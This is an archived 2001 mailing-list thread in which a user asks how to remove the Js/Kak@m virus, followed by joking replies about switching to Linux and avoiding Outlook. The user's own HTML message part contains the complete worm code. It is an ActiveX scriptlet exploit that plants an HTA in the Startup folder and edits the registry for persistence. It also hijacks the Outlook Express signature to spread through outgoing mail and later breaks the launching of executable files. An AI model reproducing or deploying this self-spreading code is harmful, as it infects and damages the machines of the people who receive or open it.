Advanced
Mailing List Archive

Mailing List Archive

  1. Home >
  2. Interchange>
  3. users
Js/Kak@m virus
cutless at one
Jan 11, 2001, 10:19 PM
Post #1 of 5 (1013 views)
Permalink
This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C07CAB.1F39AFE0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Greetings,

I was informed by a postmaster thta an email i sent was infected with =
the Js/Kak@m Virus.

Can you tell me how to get rid of it please.

Thankyou,
Mark schneider


------=_NextPart_000_0007_01C07CAB.1F39AFE0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Greetings,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I was informed by a postmaster thta an =
email i sent=20
was infected with the <A href=3D"mailto:Js/Kak@m">Js/Kak@m</A> =
Virus.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Can you tell me how to get rid of it=20
please.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thankyou,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Mark schneider</FONT></DIV>
<DIV>
<DIV style=3D"Z-INDEX: 5; RIGHT: 0px; POSITION: absolute; TOP: -20px">
<OBJECT id=3Dscr=20
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC></OBJECT></DIV>
<SCRIPT><!--
function sE(){return =
true;}window.onerror=3DsE;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>.</"=
+"TITLE><HTA:APPLICATION ID=3D\\\"hO\\\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY><object id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><scrip=
t>fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wc=3D'C:\\\\Windows\\\\';ae=3D=
'C:\\\\Autoexec.bat';f1=3Dwc+'STARTM~1\\\\Programs\\\\StartUp\\\\Exec.hta=
';fl=3Dfs.GetFolder(wc+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(=
var mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);gt=3Dwc+'System\\\\G6D9.fld';if(fs.FileEx=
ists(gt)){as=3Dfs.OpenTextFile(gt,1);gh=3Das.ReadAll();as.close();as=3Dfs=
OpenTextFile(gt,2);gh++;as.WriteLine(gh);as.close();}else{pol=3Dfs.Create=
TextFile(gt);pol.WriteLine('0');pol.close();fs.GetFile(gt).Attributes=3D2=
;gh=3D0;}f2=3Dwc+'System\\\\exec.hta';if(fs.FileExists(f2)){}else{fs.Copy=
File(f1,f2);fs.GetFile(f2).Attributes=3D2;}fr=3Dwc+'exc.reg';reg=3Dfs.Cre=
ateTextFile(fr);reg.WriteLine('REGEDIT4');reg.WriteBlankLines(1);reg.Writ=
eline('[HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\Current=
Version\\\\Run]');reg.Writeline('\"Exec\"=3D\"C:\\\\\\\\Windows\\\\\\\\Sy=
stem\\\\\\\\exec.hta\"');reg.WriteBlankLines(1);ky=3D'[HKEY_CURRENT_USER\=
\\\Identities\\\\'+idn+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';reg.WriteLine(ky+sg+']');reg.Write(=
'\"Default Signature\"=3D\"00000000\"');reg.WriteBlankLines(2); =
reg.WriteLine(ky+sg+'\\\\00000000]'); reg.WriteLine('\"name\"=3D\"My =
Signature\"');reg.WriteLine('\"type\"=3Ddword:00000002'); =
reg.WriteLine('\"text\"=3D\"\"');reg.Write('\"file\"=3D\"C:\\\\\\\\WINDOW=
S\\\\\\\\Exc.htm\"'); =
reg.WriteBlankLines(2);reg.WriteLine(ky+']');reg.Write('\"Signature =
Flags\"=3Ddword:00000003');reg.WriteBlankLines(2);reg.close();fs.GetFile(=
fr).Attributes=3D2;wsh.Run(wc+'Regedit.exe -s =
'+fr);if(gh=3D=3D0){df=3Dfs.OpenTextFile(ae,8);df.WriteLine('del =
'+f1);df.Close();}if(gh>9){b=3Dfs.CreateTextFile(\"C:\\\\Windows\\\\execf=
all.reg\");b.WriteLine('REGEDIT4');b.WriteBlankLines(1);b.WriteLine('[HKE=
Y_CLASSES_ROOT\\\\exefile\\\\shell\\\\open\\\\command]');b.WriteLine('@=3D=
\"C:\\\\\\\\Windows\\\\\\\\notepad.exe\"');b.Close();wsh.Run(wc+'Regedit.=
exe -s C:\\\\Windows\\\\execfall.reg');while(true){alert(\"Executive =
Fallout\");}}t3=3Dfs.CreateTextFile(wc+'Exc.htm',1);fs.GetFile(wc+'Exc.ht=
m').Attributes=3D2;t3.Write('<HTML><BODY><DIV =
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(f2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function sE(){return =
true;}window.onerror=3DsE;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.ReadAll();t=
4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\\\\=
\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\";la=
=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.language=
;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\Exec.hta\":\"C:\\\=
\\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\Exec.hta\";agt=3Dnavigator.use=
rAgent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigat=
or.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();self.close();</"+"script>-MassMur=
derer</"+"BODY></"+"HTML>WW";la=3D(navigator.systemLanguage)?navigator.sy=
stemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\M=
enu D=E9marrer\\Programmes\\D=E9marrage\\Exec.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\Exec.hta";agt=3Dnavigator.userAgent.toLowerCase(=
);if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(=
agt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

------=_NextPart_000_0007_01C07CAB.1F39AFE0--
Js/Kak@m virus [ In reply to ]
mhtexcollins at austin
Jan 11, 2001, 10:33 PM
Post #2 of 5 (1009 views)
Permalink
prolly won't affect any unices.

--
--
Michael H. Collins Admiral: Penguinista Navy International
http://www.linuxlink.com Migration
Your message was read to me by Emacspeak. Praise Bob!

I am the "ILOVEGNU" signature virus. Just copy me to your signature.
This email was infected under the terms of the GNU General Public License.
Js/Kak@m virus [ In reply to ]
mhtexcollins at austin
Jan 11, 2001, 10:33 PM
Post #3 of 5 (1015 views)
Permalink
prolly won't affect any unices.

--
--
Michael H. Collins Admiral: Penguinista Navy International
http://www.linuxlink.com Migration
Your message was read to me by Emacspeak. Praise Bob!

I am the "ILOVEGNU" signature virus. Just copy me to your signature.
This email was infected under the terms of the GNU General Public License.
Js/Kak@m virus [ In reply to ]
steveandpatti at wubs
Jan 12, 2001, 5:42 AM
Post #4 of 5 (1009 views)
Permalink
Mark wrote:

> Greetings, I was informed by a postmaster thta an email i sent was
> infected with the Js/Kak@m Virus. Can you tell me how to get rid of it
> please. Thankyou,Mark schneider
>
This is very simple. Go to www.redhat.com and buy Red Hat 7. Now wait.
When it arrives put it in the CD Drive and boot the machine into the
BIOS. Tell it first boot device is the CD Drive and follow the
instructions. When you get to Disk Druid just wipe all partitions and
set a new one. When the CD is finished you are virus free. By the way
one way to avoid such things is not to accept HTML email like what you
sent.

Steve
Js/Kak@m virus [ In reply to ]
sprich at ato
Jan 12, 2001, 7:53 AM
Post #5 of 5 (1007 views)
Permalink
hi all,

.)
and don't use outlook ...
I may quote: " Friends don't let friends use Outlook "

greetings .. and keep up the good work.
Torsten

Steve & Patti Getzinger schrieb:

> Mark wrote:
>
> > Greetings, I was informed by a postmaster thta an email i sent was
> > infected with the Js/Kak@m Virus. Can you tell me how to get rid of it
> > please. Thankyou,Mark schneider
> >
> This is very simple. Go to www.redhat.com and buy Red Hat 7. Now wait.
> When it arrives put it in the CD Drive and boot the machine into the
> BIOS. Tell it first boot device is the CD Drive and follow the
> instructions. When you get to Disk Druid just wipe all partitions and
> set a new one. When the CD is finished you are virus free. By the way
> one way to avoid such things is not to accept HTML email like what you
> sent.
>
> Steve
>
> _______________________________________________
> Interchange-users mailing list
> Interchange-users@lists.akopia.com
> http://lists.akopia.com/mailman/listinfo/interchange-users

--
erm ... ahem .. aaa .. what?

©2024 GT.net. A Gossamer Threads company.
5th Floor, 455 Granville St., Vancouver, BC V6C 1T1, Canada | Legal